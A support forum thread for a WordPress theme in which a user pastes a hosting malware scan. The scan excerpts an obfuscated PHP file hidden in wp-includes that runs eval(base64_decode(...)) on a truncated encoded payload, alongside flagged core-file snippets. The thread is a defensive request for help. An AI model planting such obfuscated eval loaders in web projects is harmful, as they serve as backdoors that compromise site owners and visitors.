Shams Solar Pro – help with suspected malware

[Marco Nuñez]

hi, i need your help for identified a suspected malware thay my web hosting provider detect. they are really malware this files?

Critical
Shell script signatures detected. Might be a malicious or hacker’s scripts (2)

/home/sammtec1/public_html/wp-includes/IupklqAo6P3.php
[x] 1<?php /*** PHP Encode v1.0 by zeura.com ***/$XnNhAWEnhoiqwciqpoHH=file(__FILE__ );eval(base64_decode(“aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84K

/home/sammtec1/public_html/wp-includes/formatting.php
[x] 1…ceTags’)===1){return force_balance_tags($text);}else{return$text;}}function force_balance_tags($text){$tagstack=array(); $stacksize=0;$tagqueue=”;$newtext=”;$single_tags=array(‘area’,’base’,’basefont’,’br’,’col’,’command’,’embed’,’frame’,

Warnings
This script has black-SEO links or linkfarm. Check if it was installed by yourself:

/home/sammtec1/public_html/wp-admin/plugins.php
1…admin_url(‘plugins.php’));?><iframe style=”border:0″ width=”100%” height=”70px” src=”<?php echo esc_url($iframe_url);?>” ></iframe><?php }?></div><?php elseif(isset($_GET[‘deleted’])) :$delete_result=get_transient(‘plugins_delete_result_’.$u

Thank you so much

[support]

Hi,

Can you please share your site URL it will help us to provide you a better solution, do you activated any plugin? after activating the plugin this issue shows.

Many Thanks

[Author]

Posts